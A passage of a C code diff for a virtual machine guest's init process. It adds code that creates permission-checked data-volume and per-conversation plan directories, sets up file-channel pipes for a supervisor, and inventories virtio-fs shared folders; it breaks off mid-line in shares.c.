only a canonical name can make an epoch stale) */ + long value = 0; + size_t i = 0; + for (; i < n && name[i] >= '0' && name[i] <= '9'; i++) value = value * 10 + (name[i] - '0'); + if (i == n && value > epoch) { result = -1; break; } + } + if (result == 0 && errno != 0) result = -1; /* a read error is not "no later epoch" */ + closedir(directory); + return result; +} + +int wg_data_root_is_share_mount(const char *source) { + return under(source, "/workspace/outputs") || under(source, "/workspace/.winter/memory") || under(source, "/workspace/folders"); +} + +static int real_fchown(int fd, uid_t uid, gid_t gid, void *ctx) { + (void)ctx; + return fchown(fd, uid, gid); +} +const struct wg_dataroots_ops wg_dataroots_production = { NULL, real_fchown, 0, 0, NULL, NULL, 0 }; + +/* One component below `parent`: created (mode `create_mode`) when missing, opened without following a link. */ +static int open_component(int parent, const char *name, mode_t create_mode) { + if (mkdirat(parent, name, create_mode) != 0 && errno != EEXIST) return -1; + return openat(parent, name, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC); +} + +static int make_one(int workspace, const char *source, gid_t gid, const struct wg_dataroots_ops *ops) { + const char *path = source + sizeof WORKSPACE_PREFIX - 1; + uid_t owner = ops->owner, parent_owner = ops->parent_owner; + int current = dup(workspace); + if (current < 0) return -1; + for (;;) { + const char *slash = strchr(path, '/'); + size_t length = slash ? (size_t)(slash - path) : strlen(path); + char name[65]; + if (length > 64) { close(current); return -1; } /* (an empty component fails in mkdirat) */ + memcpy(name, path, length); + name[length] = '\0'; + int last = slash == NULL; + int next = open_component(current, name, last ? 0700 : PARENT_MODE); + close(current); + if (next < 0) return -1; + current = next; + struct stat st; + if (fstat(current, &st) != 0) { close(current); return -1; } + if (!last) { + if (st.st_uid != parent_owner) { close(current); return -1; } /* a directory above a root is root's, whoever else might have made it */ + /* mkdirat's mode is filtered by PID 1's umask(077), which would leave every parent 0700 and unreachable for the browse and tool uids: set it on the descriptor, then read it back. */ + if (fchmod(current, PARENT_MODE) != 0 || fstat(current, &st) != 0 || (st.st_mode & 07777) != PARENT_MODE) { close(current); return -1; } + path = slash + 1; + continue; + } + int rc = ops->fchown_fd(current, owner, gid, ops->ctx); + if (rc == 0) rc = fchmod(current, ROOT_MODE); /* after the chown: a chown clears the setgid bit */ + if (rc == 0 && (fstat(current, &st) != 0 || st.st_uid != owner || st.st_gid != gid || (st.st_mode & 07777) != ROOT_MODE)) rc = -1; /* what the descriptor now says (owner, group, every mode bit including setgid), not what the calls returned */ + close(current); + return rc; + } +} + +/* A directory of the plan view, `name` below `parent` (a held descriptor): created, opened without following a link, and only ever one that PID 1 (root) made before: a directory + * of any other owner is refused BEFORE anything is changed on it. `uid` and `gid` are the owner to give it (root's own, or the conversation's tool uid and its group, never the workspace + * group) and `mode` its bits (0711 for the two that are only walked through, 0700 for the epoch). What the descriptor says afterwards is checked, not what the calls returned. + * Returns that descriptor (the next step walks on it, nothing is reopened by name), or -1. */ +static int make_plan_dir(int parent, const char *name, uid_t uid, gid_t gid, mode_t mode, const struct wg_dataroots_ops *ops) { + int fd = open_component(parent, name, mode); + if (fd < 0) return -1; + struct stat st; + uid_t want_uid = uid; + gid_t want_gid = gid; + if (ops->stored) ops->stored(&want_uid, &want_gid, ops->ctx); + int rc = fstat(fd, &st); + if (rc == 0 && st.st_uid != ops->parent_owner && st.st_uid != want_uid) rc = -1; /* made by PID 1 (root) or by an earlier boot of it; never somebody else's */ + if (rc == 0) rc = ops->fchown_fd(fd, uid, gid, ops->ctx); + if (rc == 0) rc = fchmod(fd, mode); /* after the chown: a chown clears the setgid bit; mkdirat's mode is filtered by umask(077) */ + if (rc == 0 && (fstat(fd, &st) != 0 || st.st_uid != want_uid || st.st_gid != want_gid || (st.st_mode & 07777) != mode)) rc = -1; /* the bits read back (setgid and sticky included), as make_one does for a root and its parents */ + if (rc != 0) { close(fd); return -1; } + return fd; +} + +/* /workspace/plan and /workspace/plan/: root:root 0711 (walked through, never listed by the tool); the epochs already on the disk are read from that same descriptor (a later + * one makes this epoch stale); then the epoch below it: the conversation's tool uid and group, 0700. One walk, every step on the descriptor the step before it returned. */ +static int make_plan_view(int workspace, const char *session_id, const char *source, long epoch, uint32_t tool_uid, const struct wg_dataroots_ops *ops) { + const char *epoch_name = strrchr(source, '/') + 1; + const char *names[2] = { &PLAN_ROOT[sizeof WORKSPACE_PREFIX - 1], session_id }; + int current = dup(workspace); + if (current < 0) return -1; + for (int level = 0; level < 2; level++) { + int next = make_plan_dir(current, names[level], ops->owner, ops->owner_group, PARENT_MODE, ops); + close(current); + if (next < 0) return -1; + current = next; + } + if (plan_epoch_is_current(current, epoch, ops) != 0) { close(current); return -1; } + int made = make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)tool_uid, PLAN_MODE, ops); + close(current); + if (made < 0) return -1; + close(made); + return 0; +} + +static int make_roots(const char *workspace_path, const struct wg_conversation_set *set, const struct wg_dataroots_ops *ops, int plan_only) { + int workspace = open(workspace_path, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC); + if (workspace < 0) return -1; + int rc = 0; + for (unsigned i = 0; i < set->count && rc == 0; i++) { + for (unsigned r = 0; r < set->root_count[i] && rc == 0; r++) { + const char *source = set->root_source[i][r]; + if (strncmp(source, WORKSPACE_PREFIX, sizeof WORKSPACE_PREFIX - 1) != 0) { rc = -1; break; } + if (wg_data_root_is_share_mount(source)) continue; + if (under(source, PLAN_ROOT)) { + long epoch = plan_view_epoch(source, set->session_id[i]); + if (epoch < 0) { rc = -1; break; } + rc = make_plan_view(workspace, set->session_id[i], source, epoch, set->tool_uid[i], ops); + continue; + } else if (plan_only) { + continue; + } + rc = make_one(workspace, source, (gid_t)set->workspace_gid[i], ops); + } + } + close(workspace); + return rc; +} + +int wg_make_data_roots(const char *workspace_path, const struct wg_conversation_set *set, const struct wg_dataroots_ops *ops) { + return make_roots(workspace_path, set, ops, 0); +} + +int wg_make_plan_views(const char *workspace_path, const struct wg_conversation_set *set, const struct wg_dataroots_ops *ops) { + return make_roots(workspace_path, set, ops, 1); +} +#endif diff --git a/apple/Cowork/WinterCoworkGuest/init/dataroots.h b/apple/Cowork/WinterCoworkGuest/init/dataroots.h new file mode 100644 index 000000000..d9d3e27b4 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/init/dataroots.h @@ -0,0 +1,55 @@ +/* + * The data-volume roots of a conversation set (image with `file-channel-v1` only; written by PID 1). + * + * The supervisor's guest file service (agent-sdk FC4) answers a read only from a root that is ext4 on the admitted device, owned by root, in the workspace + * group and mode 02770 (setgid, so what the tools create below it keeps the group). It refuses any other root as `file_unavailable`, and that refusal is intended. + * So for every root of every conversation PID 1 creates the root's `source` directory below /workspace as root:workspaceGid, mode 02770, before the + * supervisor starts. Everything above the root is root:root 0711 (traversable, not listable). Host-backed share mount points (the outputs share and the + * memory share) are not data-volume roots: their directories are the share's, not PID 1's, and are left alone. Walks use O_NOFOLLOW from a held descriptor. + * The plan view (contract 12.5, /workspace/plan//) is the exception: it is the conversation's own, so the EPOCH directory belongs to that conversation's toolUid + * (group = the same id, mode 0700), never to the workspace group, which several conversations of a workspace may share. /workspace/plan and /workspace/plan/ are + * root:root 0711: the folder of the id is the record of the epochs ever made, which the tool uid must not be able to edit. + * Portable POSIX (the native tests run it on a temporary tree with a recording fchown). + */ +#ifndef WG_DATAROOTS_H +#define WG_DATAROOTS_H + +#include +#include +#include + +#include "boot.h" + +#ifdef WG_FILE_CHANNEL_V1 +struct wg_dataroots_ops { + void *ctx; + int (*fchown_fd)(int fd, uid_t uid, gid_t gid, void *ctx); + uid_t owner; /* "root" for a root directory: 0 in PID 1; the native tests run as themselves */ + uid_t parent_owner; /* "root" for the directories above it (the same 0; a test sets it apart to reach that check as a non-root user) */ + /* Optional (NULL in PID 1): what the file system will report for an owner PID 1 asked fchown to set, for a test that cannot chown to the conversation's tool uid. The + * check of the result then compares against the mapped pair, so it stays a real check. */ + void (*stored)(uid_t *uid, gid_t *gid, void *ctx); + /* Optional (NULL in PID 1 = readdir(3)): the directory reader of the epoch scan, so a test can make a read fail. */ + struct dirent *(*read_entry)(DIR *directory, void *ctx); + gid_t owner_group; /* "root"'s group, for the plan directories that are root:root (0 in PID 1; a test uses its own) */ +}; + +/* 1 when `source` is a host-backed share mount point or below one: /workspace/outputs and /workspace/.winter/memory. */ +int wg_data_root_is_share_mount(const char *source); + +/* PID 1's own: root owns the roots and the directories above them, and fchown(2) is the real one. */ +extern const struct wg_dataroots_ops wg_dataroots_production; + +/* 0 when every data-volume root exists as described above; -1 on anything else (a symlink, a root-foreign intermediate directory). A root that two conversations name with + * different groups ends up with the later one's: the other conversation's file service then refuses it (`file_unavailable`), which fails closed. `workspace_path` is where the + * data volume is mounted; `ops` is mandatory. */ +int wg_make_data_roots(const char *workspace_path, const struct wg_conversation_set *set, const struct wg_dataroots_ops *ops); + +/* Only the plan views (/workspace/plan//, contract 12.5) of the set, for a workspace without a browse uid (wg_make_data_roots makes them too, with every other root): each is + * this conversation's own, the epoch canonical (at most nine digits) and not below one already on the disk (the data disk is the record of the epochs ever made, an earlier epoch is + * never made again or touched), made as a directory of the conversation's toolUid (group toolUid) mode 0700, below /workspace/plan and /workspace/plan/, both root:root 0711 (the folder of the + * id is the record of past epochs, which the tool uid must not be able to edit). 0 or -1. */ +int wg_make_plan_views(const char *workspace_path, const struct wg_conversation_set *set, const struct wg_dataroots_ops *ops); +#endif + +#endif diff --git a/apple/Cowork/WinterCoworkGuest/init/init_linux.c b/apple/Cowork/WinterCoworkGuest/init/init_linux.c index f7a365e44..dbcb83bc4 100644 --- a/apple/Cowork/WinterCoworkGuest/init/init_linux.c +++ b/apple/Cowork/WinterCoworkGuest/init/init_linux.c @@ -16,6 +16,10 @@ #include "../common/ctl.h" #include "../common/wmx.h" #include "boot.h" +#ifdef WG_FILE_CHANNEL_V1 +#include "dataroots.h" +#include "shares.h" +#endif #include "discover.h" #include "ext4sb.h" #include "mounts.h" @@ -56,8 +60,12 @@ _Static_assert(WG_MS_RDONLY == MS_RDONLY && WG_MS_NOSUID == MS_NOSUID && WG_MS_N #endif #define BASE_CONFIG_PATH "/opt/winter/etc/supervisor-base.json" #define RUNTIME_ARTIFACTS_PATH "/opt/winter/etc/supervisor-runtime-artifacts.json" +#ifndef WORKSPACE_CONVERSATIONS #define WORKSPACE_CONVERSATIONS "/workspace/.winter/conversations" +#endif +#ifndef RUN_CONVERSATIONS #define RUN_CONVERSATIONS "/run/winter/conversations" +#endif #ifndef TRUSTED_DIR #define TRUSTED_DIR "/run/winter/trusted" #endif @@ -88,6 +96,9 @@ static struct { int r2p_r, p2r_w; /* relay -> init, init -> relay */ int h2p_r, p2h_w; /* helper -> init, init -> helper */ int rt_in_r, rt_out_w, rt_err_w; /* the supervisor's ends of the runtime pipes */ +#ifdef WG_FILE_CHANNEL_V1 + int file_in_r, file_out_w; /* the supervisor's ends of the file channel's two FIFOs (anonymous pipes) */ +#endif int sup_stdin_w, sup_out_r; struct wg_disk data, environment; struct wg_port port; @@ -202,13 +213,42 @@ static int make_pipe(int pair[2]) { return 0; } -static pid_t spawn_relay(int port_fd, int r2p[2], int p2r[2], int rt_in[2], int rt_out[2], int rt_err[2]) { +#ifdef WG_FILE_CHANNEL_V1 +/* The file channel's two FIFOs are anonymous pipes: non-blocking, root-owned, single-link (exactly what the supervisor's file service demands of its descriptors). + * FILE_IN carries the host's request lines (the relay writes, the supervisor reads), FILE_OUT the response lines (the supervisor writes, the relay reads). */ +static int fifo_end_ok(int fd) { + struct stat st; + int flags = fcntl(fd, F_GETFL); + /* "root-owned": owned by the process that made it, which in PID 1 is root (the native tests run as themselves). */ + return fstat(fd, &st) == 0 && S_ISFIFO(st.st_mode) && st.st_uid == geteuid() && st.st_nlink == 1 && flags >= 0 && (flags & O_NONBLOCK) != 0; +} +static int make_file_pipe(int pair[2]) { + return pipe2(pair, O_CLOEXEC | O_NONBLOCK); /* non-blocking on both file descriptions; owned by this process and single-link by what a pipe is: fifo_end_ok() checks it again at the start */ +} +/* After the fork PID 1 keeps neither supervisor end: a copy left here would keep the FIFOs open after the supervisor and the relay are gone (no EOF, no EPIPE). */ +static void release_file_ends(void) { + close_fd(&G.file_in_r); + close_fd(&G.file_out_w); +} +#endif + +static pid_t spawn_relay(int port_fd, int r2p[2], int p2r[2], int rt_in[2], int rt_out[2], int rt_err[2] +#ifdef WG_FILE_CHANNEL_V1 + , int file_in[2], int file_out[2] +#endif + ) { pid_t pid = fork(); if (pid < 0) return -1; if (pid == 0) { +#ifdef WG_FILE_CHANNEL_V1 + int sources[8] = { port_fd, p2r[0], r2p[1], rt_in[1], rt_out[0], rt_err[0], file_in[1], file_out[0] }; + char *argv[] = { RELAY_PATH, "--port", "3", "--ctl-in", "4", "--ctl-out", "5", "--rt-in", "6", "--rt-out", "7", "--rt-err", "8", "--file-in", "9", "--file-out", "10", NULL }; + exec_child(sources, 8, -1, -1, argv); +#else int sources[6] = { port_fd, p2r[0], r2p[1], rt_in[1], rt_out[0], rt_err[0] }; char *argv[] = { RELAY_PATH, "--port", "3", "--ctl-in", "4", "--ctl-out", "5", "--rt-in", "6", "--rt-out", "7", "--rt-err", "8", NULL }; exec_child(sources, 6, -1, -1, argv); +#endif } return pid; } @@ -221,7 +261,11 @@ static pid_t spawn_helper(int h2p[2], int p2h[2]) { if (pid < 0) return -1; if (pid == 0) { int sources[2] = { p2h[0], h2p[1] }; +#ifdef WG_FILE_CHANNEL_V1 + char *argv[] = { PYTHON_PATH, "-I", "-S", "-B", HELPER_PATH, "--channel-fds", "3,4", "--data", data, "--environment", environment, "--file-channel-v1", NULL }; +#else char *argv[] = { PYTHON_PATH, "-I", "-S", "-B", HELPER_PATH, "--channel-fds", "3,4", "--data", data, "--environment", environment, NULL }; +#endif exec_child(sources, 2, -1, -1, argv); } return pid; @@ -386,14 +430,80 @@ static int make_private_dir(const char *parent_path, const char *name, uid_t uid close(fd); return rc; } +#ifdef WG_FILE_CHANNEL_V1 +/* The supervisor's file service reads only a root that is root:workspaceGid 02770 on the data volume, so PID 1 makes every data-volume root that way, for a workspace that has + * a file channel (a browse uid). */ +static const struct wg_dataroots_ops *dataroots_ops = &wg_dataroots_production; /* the native tests, which run as an ordinary user, point it at their own owner */ +static int prepare_data_roots(const struct wg_conversation_set *set) { + if (set->browse_uid == 0) return wg_make_plan_views(WG_WORKSPACE_PATH, set, dataroots_ops); /* no browse uid: no data roots, but a plan view is PID 1's to make */ + return wg_make_data_roots(WG_WORKSPACE_PATH, set, dataroots_ops); +} +#endif static int op_prepare_conversation_dirs(void *ctx, const struct wg_conversation_set *set) { (void)ctx; for (unsigned i = 0; i < set->count; i++) { if (make_private_dir(WORKSPACE_CONVERSATIONS, set->session_id[i], (uid_t)set->runtime_uid[i]) != 0) return -1; if (make_private_dir(RUN_CONVERSATIONS, set->session_id[i], (uid_t)set->runtime_uid[i]) != 0) return -1; } +#ifdef WG_FILE_CHANNEL_V1 + if (prepare_data_roots(set) != 0) return -1; +#endif + return 0; +} +#ifdef WG_FILE_CHANNEL_V1 +static int op_read_data_device(void *ctx, uint64_t *device) { + (void)ctx; + struct stat st; + if (stat(WG_WORKSPACE_PATH, &st) != 0 || !S_ISDIR(st.st_mode)) return -1; + *device = (uint64_t)st.st_dev; return 0; } +#endif +#ifdef WG_FILE_CHANNEL_V1 +/* Host-backed shares (shares.c). The three paths and the owner below may be overridden only by the native test build (tests/linux_init_tool.c); PID 1 uses the real + * ones, and root (0) owns every directory on the way to a mount point. An ordinary test process passes its own uid, so its run reaches the real mount(2). */ +#ifndef SHARES_ROOT +#define SHARES_ROOT "" +#endif +#ifndef SHARES_SYS_ROOT +#define SHARES_SYS_ROOT "/sys" +#endif +#ifndef MOUNTINFO_PATH +#define MOUNTINFO_PATH "/proc/self/mountinfo" +#endif +#ifndef SHARES_OWNER +#define SHARES_OWNER 0 +#endif +static long sop_read_mountinfo(void *ctx, char *out, size_t capacity) { + (void)ctx; + int fd = open(MOUNTINFO_PATH, O_RDONLY | O_CLOEXEC); + if (fd < 0) return -1; + size_t have = 0; + for (;;) { + if (have == capacity) { close(fd); return -1; } /* it does not fit: never judge a cut table */ + ssize_t n = read(fd, out + have, capacity - have); + if (n < 0 && errno == EINTR) continue; + if (n < 0) { close(fd); return -1; } + if (n == 0) break; + have += (size_t)n; + } + close(fd); + return (long)have; +} +/* A share's unmount (the step's rollback and the drain) never follows a symbolic link in the last component: it takes off the mount at that path or nothing. */ +static int sop_umount(void *ctx, const char *target) { (void)ctx; return umount2(target, UMOUNT_NOFOLLOW); } +static int op_mount_shares(void *ctx, const struct wg_share_set *set, unsigned *mounted) { + (void)ctx; + const struct wg_share_ops ops = { NULL, SHARES_ROOT, SHARES_SYS_ROOT, mop_mount, sop_umount, sop_read_mountinfo, (uid_t)SHARES_OWNER }; + return wg_mount_shares(&ops, set, mounted); +} +static int op_umount_share(void *ctx, const char *guest_path) { + (void)ctx; + char where[WG_SHARE_PATH_MAX + 4096]; + if (snprintf(where, sizeof where, "%s%s", SHARES_ROOT, guest_path) >= (int)sizeof where) return -1; + return sop_umount(NULL, where); +} +#endif static int op_read_base_config(void *ctx, char *out, size_t capacity, size_t *length) { (void)ctx; long n = wg_read_small_file(BASE_CONFIG_PATH, out, capacity, 0); @@ -431,8 +541,13 @@ static void release_runtime_ends(void) { close_fd(&G.rt_err_w); } -static int op_start_supervisor(void *ctx, const char *config, size_t length, int with_ports) { +static int op_start_supervisor(void *ctx, const char *config, size_t length, int flags) { (void)ctx; +#ifdef WG_FILE_CHANNEL_V1 + int with_ports = (flags & WG_START_PORTS) != 0, with_files = (flags & WG_START_FILE_CHANNEL) != 0; +#else + int with_ports = flags; +#endif int config_fd = wg_write_trusted_config(TRUSTED_DIR, TRUSTED_NAME, config, length); if (config_fd < 0) return -1; int stdin_pipe[2], stdout_pipe[2]; @@ -441,19 +556,41 @@ static int op_start_supervisor(void *ctx, const char *config, size_t length, int /* The supervisor's ends of the runtime pipes are non-blocking file descriptions, root-owned, single-link: exactly what * RuntimeDuplexPorts demands of its input/stdout/stderr descriptors. */ if (with_ports && runtime_ends_nonblocking() != 0) { close(config_fd); close(stdin_pipe[0]); close(stdin_pipe[1]); close(stdout_pipe[0]); close(stdout_pipe[1]); return -1; } +#ifdef WG_FILE_CHANNEL_V1 + if (with_files && (!fifo_end_ok(G.file_in_r) || !fifo_end_ok(G.file_out_w))) { close(config_fd); close(stdin_pipe[0]); close(stdin_pipe[1]); close(stdout_pipe[0]); close(stdout_pipe[1]); return -1; } +#endif pid_t pid = fork(); if (pid < 0) { close(config_fd); close(stdin_pipe[0]); close(stdin_pipe[1]); close(stdout_pipe[0]); close(stdout_pipe[1]); return -1; } if (pid == 0) { setsid(); +#ifdef WG_FILE_CHANNEL_V1 + /* Descriptors, in order: 3 the config, then 4,5,6 the runtime ports (a host-query conversation), then the file channel's IN and OUT (7,8 or 4,5): always the + * LAST two arguments, so the supervisor can tell a file service from none by the tail alone. */ + int sources[6], count = 0; + sources[count++] = config_fd; + if (with_ports) { sources[count++] = G.rt_in_r; sources[count++] = G.rt_out_w; sources[count++] = G.rt_err_w; } + if (with_files) { sources[count++] = G.file_in_r; sources[count++] = G.file_out_w; } + char *argv[12]; + int n = 0; + argv[n++] = PYTHON_PATH; argv[n++] = "-I"; argv[n++] = "-S"; argv[n++] = "-B"; argv[n++] = SUPERVISOR_PATH; argv[n++] = "--trusted-config-fd"; argv[n++] = "3"; + if (with_ports) { argv[n++] = "--runtime-ports-fds"; argv[n++] = "4,5,6"; } + if (with_files) { argv[n++] = "--file-channel-fds"; argv[n++] = with_ports ? "7,8" : "4,5"; } + argv[n] = NULL; + exec_child(sources, (size_t)count, stdin_pipe[0], stdout_pipe[1], argv); +#else int sources[4] = { config_fd, G.rt_in_r, G.rt_out_w, G.rt_err_w }; char *with[] = { PYTHON_PATH, "-I", "-S", "-B", SUPERVISOR_PATH, "--trusted-config-fd", "3", "--runtime-ports-fds", "4,5,6", NULL }; char *without[] = { PYTHON_PATH, "-I", "-S", "-B", SUPERVISOR_PATH, "--trusted-config-fd", "3", NULL }; exec_child(sources, with_ports ? 4 : 1, stdin_pipe[0], stdout_pipe[1], with_ports ? with : without); +#endif } close(config_fd); close(stdin_pipe[0]); close(stdout_pipe[1]); release_runtime_ends(); +#ifdef WG_FILE_CHANNEL_V1 + release_file_ends(); +#endif G.supervisor = pid; supervisor_deadline = clock_ms() + SUPERVISOR_READY_DEADLINE_MS; G.sup_stdin_w = stdin_pipe[1]; @@ -598,6 +735,17 @@ static int mount_pseudo(const char *source, const char *target, const char *type return -1; } +#ifdef WG_FILE_CHANNEL_V1 +#define PROTECTED_HARDLINKS_PATH "/proc/sys/fs/protected_hardlinks" +static int set_protected_hardlinks(const char *path) { + int fd = open(path, O_WRONLY | O_CLOEXEC | O_NOFOLLOW); + if (fd < 0) return -1; + ssize_t written = write(fd, "1\n", 2); /* a sysctl write that the kernel refuses fails here; there is nothing to read back that the return value does not say */ + close(fd); + return written == 2 ? 0 : -1; +} +#endif + static void discover_or_die(void) { struct wg_discover_env env = { "/sys", "/dev", NULL, NULL }; long long deadline = clock_ms() + DISCOVERY_WAIT_MS; @@ -616,6 +764,9 @@ static void discover_or_die(void) { int main(void) { if (getpid() != 1) return 2; G.r2p_r = G.p2r_w = G.h2p_r = G.p2h_w = G.rt_in_r = G.rt_out_w = G.rt_err_w = G.sup_stdin_w = G.sup_out_r = -1; +#ifdef WG_FILE_CHANNEL_V1 + G.file_in_r = G.file_out_w = -1; +#endif umask(077); signal(SIGPIPE, SIG_IGN); prctl(PR_SET_DUMPABLE, 0, 0, 0, 0); @@ -636,6 +787,10 @@ int main(void) { if (mount_pseudo("tmpfs", "/run", "tmpfs", MS_NOSUID | MS_NODEV | MS_NOEXEC, "mode=0755,size=32m") != 0) die_early("mount-run"); if (mount_pseudo("tmpfs", "/tmp", "tmpfs", MS_NOSUID | MS_NODEV | MS_NOEXEC, "mode=1777,size=64m") != 0) die_early("mount-tmp"); log_code("init-start"); +#ifdef WG_FILE_CHANNEL_V1 + /* The file service refuses a hard link to a file the browse identity could not itself open; the kernel enforces the same for every identity once this is 1. */ + if (set_protected_hardlinks(PROTECTED_HARDLINKS_PATH) != 0) die_early("protected-hardlinks"); +#endif int run_root = open("/run", O_RDONLY | O_DIRECTORY | O_CLOEXEC); if (run_root < 0 || wg_skeleton_apply(run_root, WG_RUN_SKELETON, WG_RUN_SKELETON_COUNT, NULL) != 0) die_early("run-skeleton"); @@ -657,6 +812,10 @@ int main(void) { int r2p[2], p2r[2], h2p[2], p2h[2], rt_in[2], rt_out[2], rt_err[2]; if (make_pipe(r2p) || make_pipe(p2r) || make_pipe(h2p) || make_pipe(p2h) || make_pipe(rt_in) || make_pipe(rt_out) || make_pipe(rt_err)) die_early("pipes"); +#ifdef WG_FILE_CHANNEL_V1 + int file_in[2], file_out[2]; + if (make_file_pipe(file_in) != 0 || make_file_pipe(file_out) != 0) die_early("file-channel-fifos"); +#endif memset(&mount_ops, 0, sizeof mount_ops); mount_ops.mount = mop_mount; mount_ops.umount = mop_umount; mount_ops.syncfs_path = mop_syncfs; @@ -666,13 +825,26 @@ int main(void) { boot_ops.wait_flushed = op_wait_flushed; boot_ops.replay = op_replay; boot_ops.umount_replay = op_umount_replay; boot_ops.mount_volumes = op_mount_volumes; boot_ops.umount = op_umount; boot_ops.verify_unmounted = op_verify_unmounted; boot_ops.prepare_conversation_dirs = op_prepare_conversation_dirs; boot_ops.read_runtime_artifacts = op_read_runtime_artifacts; boot_ops.read_base_config = op_read_base_config; boot_ops.read_boot_id = op_read_boot_id; - boot_ops.start_supervisor = op_start_supervisor; boot_ops.stop_helper = op_stop_helper; boot_ops.stop_supervisor = op_stop_supervisor; + boot_ops.start_supervisor = op_start_supervisor; +#ifdef WG_FILE_CHANNEL_V1 + boot_ops.read_data_device = op_read_data_device; + boot_ops.mount_shares = op_mount_shares; boot_ops.umount_share = op_umount_share; +#endif + boot_ops.stop_helper = op_stop_helper; boot_ops.stop_supervisor = op_stop_supervisor; boot_ops.kill_all = op_kill_all; boot_ops.sync_all = op_sync_all; boot_ops.flush_devices = op_flush_devices; boot_ops.power_off = op_power_off; wg_boot_init(&boot, &boot_ops); ctl_reader_init(&relay_reader, relay_payload, sizeof relay_payload, "PDFf"); +#ifdef WG_FILE_CHANNEL_V1 + ctl_reader_init(&helper_reader, helper_payload, sizeof helper_payload, "BQMECS"); +#else ctl_reader_init(&helper_reader, helper_payload, sizeof helper_payload, "BQMEC"); +#endif +#ifdef WG_FILE_CHANNEL_V1 + G.relay = spawn_relay(port_fd, r2p, p2r, rt_in, rt_out, rt_err, file_in, file_out); +#else G.relay = spawn_relay(port_fd, r2p, p2r, rt_in, rt_out, rt_err); +#endif if (G.relay < 0) die_early("relay-spawn"); close(port_fd); /* from here on exactly one process holds the port: the relay */ G.helper = spawn_helper(h2p, p2h); @@ -686,6 +858,10 @@ int main(void) { G.rt_in_r = rt_in[0]; close(rt_in[1]); G.rt_out_w = rt_out[1]; close(rt_out[0]); G.rt_err_w = rt_err[1]; close(rt_err[0]); +#ifdef WG_FILE_CHANNEL_V1 + G.file_in_r = file_in[0]; close(file_in[1]); /* the relay holds the write end of FILE_IN, the supervisor will hold the read end */ + G.file_out_w = file_out[1]; close(file_out[0]); /* the relay holds the read end of FILE_OUT */ +#endif fcntl(G.r2p_r, F_SETFL, fcntl(G.r2p_r, F_GETFL) | O_NONBLOCK); fcntl(G.h2p_r, F_SETFL, fcntl(G.h2p_r, F_GETFL) | O_NONBLOCK); fcntl(G.p2r_w, F_SETFL, fcntl(G.p2r_w, F_GETFL) | O_NONBLOCK); diff --git a/apple/Cowork/WinterCoworkGuest/init/mounts.h b/apple/Cowork/WinterCoworkGuest/init/mounts.h index e9329a707..f37056a7b 100644 --- a/apple/Cowork/WinterCoworkGuest/init/mounts.h +++ b/apple/Cowork/WinterCoworkGuest/init/mounts.h @@ -24,7 +24,9 @@ #define WG_MS_NOEXEC 8ul #define WG_MS_NOATIME 1024ul +#ifndef WG_WORKSPACE_PATH #define WG_WORKSPACE_PATH "/workspace" +#endif #define WG_REPLAY_ROOT "/run/winter/replay" #define WG_WORKING_FLAGS (WG_MS_NOSUID | WG_MS_NODEV | WG_MS_NOATIME) diff --git a/apple/Cowork/WinterCoworkGuest/init/shares.c b/apple/Cowork/WinterCoworkGuest/init/shares.c new file mode 100644 index 000000000..3b13557d9 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/init/shares.c @@ -0,0 +1,307 @@ +#define _GNU_SOURCE +#include "shares.h" + +#ifdef WG_FILE_CHANNEL_V1 +#include "mounts.h" + +#include +#include +#include +#include +#include +#include +#include + +unsigned long wg_share_mount_flags(const struct wg_share *share) { + unsigned long flags = WG_MS_NOSUID | WG_MS_NODEV; + if (share->read_only) flags |= WG_MS_RDONLY; + if (share->kind != WG_SHARE_FOLDER) flags |= WG_MS_NOEXEC; /* guidance, memory and outputs; a folder source keeps exec, builds run there */ + return flags; +} + +static int join(char *out, size_t capacity, const char *a, const char *b) { + int n = snprintf(out, capacity, "%s%s", a, b); + return n < 0 || (size_t)n >= capacity ? -1 : 0; +} + +/* A small sysfs attribute: at most capacity - 2 bytes, so a longer one is refused rather than cut. */ +static int read_attribute(const char *path, char *out, size_t capacity, size_t *length) { + int fd = open(path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (fd < 0) return -1; + ssize_t n = read(fd, out, capacity - 1); + close(fd); + if (n < 0 || (size_t)n >= capacity - 1) return -1; + out[n] = '\0'; + *length = (size_t)n; + return 0; +} + +static int all_digits(const char *name) { + size_t n = strlen(name); + if (n == 0 || n > 10) return 0; + for (size_t i = 0; i < n; i++) if (name[i] < '0' || name[i] > '9') return 0; + return 1; +} + +/* How many virtio devices of type 26 (virtio-fs) are on the bus, bound to a driver or not; -1 when the bus cannot be read. */ +static int virtio_fs_devices(const char *sys_root) { + char path[512]; + if (join(path, sizeof path, sys_root, "/bus/virtio/devices") != 0) return -1; + DIR *directory = opendir(path); + if (!directory) return -1; + int count = 0, result = 0; + struct dirent *entry; + while ((entry = readdir(directory)) != NULL) { + if (entry->d_name[0] == '.') continue; + char file[768], value[32]; + size_t length = 0; + if (snprintf(file, sizeof file, "%s/%s/device", path, entry->d_name) >= (int)sizeof file || read_attribute(file, value, sizeof value, &length) != 0) { result = -1; break; } + if (length == sizeof WG_VIRTIO_FS_DEVICE_ID && memcmp(value, WG_VIRTIO_FS_DEVICE_ID "\n", length) == 0) count++; + } + closedir(directory); + return result == 0 ? count : -1; +} + +int wg_share_inventory(const char *sys_root, const struct wg_share_set *set) { + char path[512]; + if (set->count < 1 || set->count > WG_SHARES_MAX || join(path, sizeof path, sys_root, "/fs/virtiofs") != 0) return -1; + DIR *directory = opendir(path); + if (!directory) return -1; /* no virtio-fs driver, or it published nothing: every declared tag is missing */ + unsigned seen = 0, entries = 0; + int result = 0; + struct dirent *entry; + while ((entry = readdir(directory)) != NULL && result == 0) { + if (entry->d_name[0] == '.') continue; + /* each device is a kobject named by its index; anything else under the kset is not what this kernel publishes */ + if (!all_digits(entry->d_name) || ++entries > WG_SHARES_MAX) { result = -1; break; } + char file[768], tag[WG_SHARE_TAG_MAX + 3]; + size_t length = 0; + if (snprintf(file, sizeof file, "%s/%s/tag", path, entry->d_name) >= (int)sizeof file || read_attribute(file, tag, sizeof tag, &length) != 0 || + length < 2 || tag[length - 1] != '\n') { result = -1; break; } + tag[length - 1] = '\0'; + unsigned match = WG_SHARES_MAX; + for (unsigned i = 0; i < set->count; i++) if (strcmp(set->item[i].tag, tag) == 0) { match = i; break; } + if (match == WG_SHARES_MAX || (seen & (1u 